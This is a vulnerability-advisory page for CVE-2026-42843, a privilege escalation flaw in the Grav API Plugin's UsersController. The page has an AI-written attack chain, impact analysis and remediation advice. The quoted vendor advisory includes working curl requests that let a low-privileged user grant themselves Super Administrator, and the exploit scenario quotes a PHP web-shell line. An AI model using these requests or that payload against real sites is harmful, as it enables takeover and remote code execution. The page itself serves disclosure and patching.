Skip to main content

Grav API Plugin CVE-2026-42843

HIGH
Incorrect Authorization (CWE-863)
2026-05-05 https://github.com/getgrav/grav GHSA-r945-h4vm-h736
8.8
CVSS 3.1 · Vendor: https://github.com/getgrav/grav
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain valid credentials for api.access user
  2. Delivery
    Authenticate to API endpoint for JWT token
  3. Exploit
    Craft PATCH request with malicious access payload
  4. Install
    Send to /api/v1/users/{self}
  5. C2
    Overwrite permission structure to super admin
  6. Execute
    Log into Admin Panel with elevated privileges
  7. Impact
    Edit Twig templates or upload plugins
  8. Step 8
    Execute arbitrary PHP code on server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to possess valid credentials for any Grav user account that has been granted the 'api.access' permission. This permission level is commonly assigned to content editors, developers, site contributors, or other non-administrative roles in multi-user Grav deployments to enable programmatic content management via the API. The Grav API Plugin must be installed and enabled in the target installation (default route /api with version prefix v1). No specific non-default configuration settings, enabled features, or deployment modes are required beyond basic API Plugin activation and at least one user account possessing 'api.access' permission. The vulnerability is exploitable against default configurations of Grav API Plugin versions prior to 1.0.0-beta.15. Exploitation does not require the attacker to hold 'api.users.write' or administrative permissions initially - the baseline 'api.access' permission is sufficient. The attack is not limited by network topology (CVSS AV:N indicates remotely exploitable over HTTP/HTTPS), requires low attack complexity (CVSS AC:L, straightforward PATCH request), and does not depend on user interaction (CVSS UI:N). The primary limiting factor for real-world risk assessment is the authentication prerequisite (CVSS PR:L), which narrows the attack surface to scenarios involving credential compromise, insider threats, or environments where 'api.access' is broadly distributed to non-trusted user populations.

Impact

This vulnerability presents critical real-world risk despite the 8.8 CVSS score requiring low-privileged authentication (PR:L). The CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately reflects network-accessible exploitation with low complexity and no user interaction required. The authentication prerequisite ('api.access' permission) is a minimal barrier in typical Grav deployments where API access is granted to content editors, developers, or other non-administrative users. The impact is vertical privilege escalation to the highest privilege tier (Super Administrator), enabling complete CMS takeover including content manipulation, configuration changes, malicious plugin uploads, and critically, Twig template editing outside sandbox constraints leading to authenticated remote code execution on the underlying server. A functional proof-of-concept with exact HTTP requests is included in the GitHub Security Advisory, significantly lowering exploitation complexity for threat actors. No EPSS or KEV data is provided in the input, preventing assessment of observed exploitation trends, but the combination of public POC, vendor-confirmed patch, and severe post-exploitation capabilities (privilege escalation to RCE chain) makes this a high-priority remediation target for any organization running affected Grav API Plugin versions. The narrow prerequisite (valid credentials with 'api.access') limits exposure compared to unauthenticated vulnerabilities but does not substantially reduce risk in multi-user or multi-tenant Grav environments.

Exploit ScenarioDerived

An attacker possessing valid credentials for a low-privileged Grav user account with 'api.access' permission (such as a content editor, contractor, or compromised user) authenticates to the Grav API by sending a POST request to /api/v1/auth/token with their username and password, receiving a JWT access token in response. The attacker then crafts a PATCH request to /api/v1/users/{their_username} with the stolen or legitimate token in the X-API-Token header and a JSON body containing a malicious 'access' object: {"access":{"admin":{"login":true,"super":true},"api":{"access":true,"super":true},"site":{"login":true}}}. The vulnerable UsersController::update method validates the user is editing their own profile (requiring only 'api.access'), processes the 'access' field from the whitelist without secondary authorization checks, and persists the attacker-controlled permission structure to the user account file. Upon logging into the Grav Admin Panel with the same credentials, the attacker now holds Super Administrator privileges, enabling them to upload malicious plugins, edit Twig templates outside sandbox restrictions to inject PHP code execution payloads (e.g., <?php system($_GET['cmd']); ?> in custom templates), modify security configurations, create backdoor admin accounts, or exfiltrate sensitive data from the CMS database and configuration files.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 05, 2026

Privilege escalation in Grav API Plugin (versions < 1.0.0-beta.15) allows any authenticated user with basic 'api.access' permission to elevate themselves to Super Administrator by sending a crafted PATCH request to modify their own permission configuration. The vulnerability, confirmed by vendor GitHub Security Advisory GHSA-r945-h4vm-h736, stems from inadequate authorization checks in the UsersController::update method, which permits self-editing users to overwrite the 'access' field containing role definitions. Successful exploitation grants complete CMS control including the ability to edit Twig templates outside sandbox restrictions for remote code execution. A detailed proof-of-concept is publicly available, and vendor-released patch is confirmed in version 1.0.0-beta.15.

RemediationAI

Upgrade the Grav API Plugin to version 1.0.0-beta.15 or later immediately, as confirmed by the vendor advisory at https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736 and the fixing commit at https://github.com/getgrav/grav-plugin-api/commit/26f529c7d438c73343e82311fb095caeaf1a6116. The patch implements authorization enforcement by splitting the field whitelist in UsersController::update into self-editable fields (email, fullname, title, language, content_editor, twofa_enabled) and admin-only fields (state, access), explicitly rejecting PATCH requests containing 'access' or 'state' fields from non-privileged users with HTTP 403 and error message 'Modifying [field] requires the api.users.write permission.' If immediate patching is not feasible, implement compensating controls with these trade-offs: (1) Disable the Grav API Plugin entirely via the Grav Admin Panel or by setting 'enabled: false' in user/config/plugins/api.yaml, which breaks all API functionality including legitimate integrations and headless CMS workflows. (2) Revoke 'api.access' permission from all non-administrative users via Admin Panel > Accounts, restricting API usage to super-admins only, which limits operational flexibility for content teams and developers requiring programmatic access. (3) Deploy a reverse proxy or web application firewall to inspect and block HTTP PATCH requests to paths matching /api/v1/users/* that contain 'access' or 'state' keys in the JSON body when the authenticated user lacks 'api.users.write' permission (requires custom rule development and testing to avoid blocking legitimate admin operations). All compensating controls degrade functionality and should be treated as temporary measures pending upgrade to 1.0.0-beta.15.

Affected Packages

composer getgrav/grav-plugin-api fix: 1.0.0-beta.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the Grav API Plugin's UsersController.php (PHP), specifically in the user profile update endpoint. The flaw combines an Insecure Direct Object Reference (IDOR) with broken authorization logic (CWE-863: Incorrect Authorization). The code correctly differentiates self-edit from admin-edit based on username comparison, requiring only 'api.access' permission for self-modification versus 'api.users.write' for editing other users. However, the $allowedFields whitelist unconditionally includes 'access' and 'state' fields for all PATCH operations, regardless of the requester's privilege level. The 'access' field is a nested object controlling user permissions including 'admin.super' and 'api.super' flags. By crafting a PATCH request with a malicious access payload, a low-privileged user can directly overwrite their own permission structure in the Grav user account system. The fix splits the field whitelist into self-editable fields (email, fullname, title, language, content_editor, twofa_enabled) and admin-only fields (state, access), explicitly rejecting PATCH attempts on privileged fields with HTTP 403 unless the requester holds 'api.users.write' or super-admin status.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/getgrav/grav) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/getgrav/grav) · only source for this CVE.

CVSS VectorVendor: https://github.com/getgrav/grav

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

An insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE.

Details

The vulnerability is located in user/plugins/api/classes/Api/Controllers/UsersController.php within the update method.

The API allows users to update their own profiles if they possess the basic api.access permission:

php
// UsersController.php -> update()
$isSelf = $currentUser->username === $username;
if (!$isSelf) {
    $this->requirePermission($request, 'api.users.write');
} else {
    // Self-edit only requires api.access
    $this->requirePermission($request, 'api.access');
}

However, when filtering the fields that are allowed to be updated via a PATCH request, the access field (which defines the user's role and permissions) is indiscriminately included in the $allowedFields whitelist for all users:

php
// Partial update - only update provided fields
$allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'content_editor', 'access', 'twofa_enabled'];
foreach ($allowedFields as $field) {
    if (array_key_exists($field, $body)) {
        $user->set($field, $body[$field]);
    }
}

Because there is no secondary check to verify if the user attempting to modify the access field is already an administrator, any low-privileged user can overwrite their own access object with a malicious payload granting themselves super: true.

PoC

  1. Prerequisites: You need a low-privileged user account (eg. user1) that possesses the basic api.access permission.
  2. Obtain JWT: Authenticate to the API to obtain your access_token:
bash
   curl -X POST http://<target>/api/v1/auth/token \
     -H "Content-Type: application/json" \
     -d '{"username":"user1","password":"your_password"}'
  1. Exploit: Send a PATCH request to the user update endpoint.
bash
   curl -X PATCH http://<target>/api/v1/users/user1 \
     -H "X-API-Token: <your_access_token>" \
     -H "Content-Type: application/json" \
     -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"
  1. Verification: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.

Impact

This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.

Executive ViewAI

Why It Matters

Grav API Plugin versions below 1.0.0-beta.15 contain a privilege escalation vulnerability that allows any authenticated API user to grant themselves Super Administrator access, enabling complete control of the CMS including remote code execution through template manipulation. Organizations running affected Grav instances face immediate risk of unauthorized administrative takeover and potential data compromise or website defacement.

Business Impact: High
Compensating Controls

Apply vendor patch (Grav API Plugin version 1.0.0-beta.15 or later). If immediate patching is not feasible: restrict API plugin network access via firewall rules to trusted IP ranges only, disable self-user modification endpoints at the application layer, implement continuous monitoring for PATCH requests to /api/users endpoints, and enforce multi-factor authentication for all administrative accounts.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Affected Products (CPE)CVE.org

pkg:composer/getgrav_grav-plugin-api

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy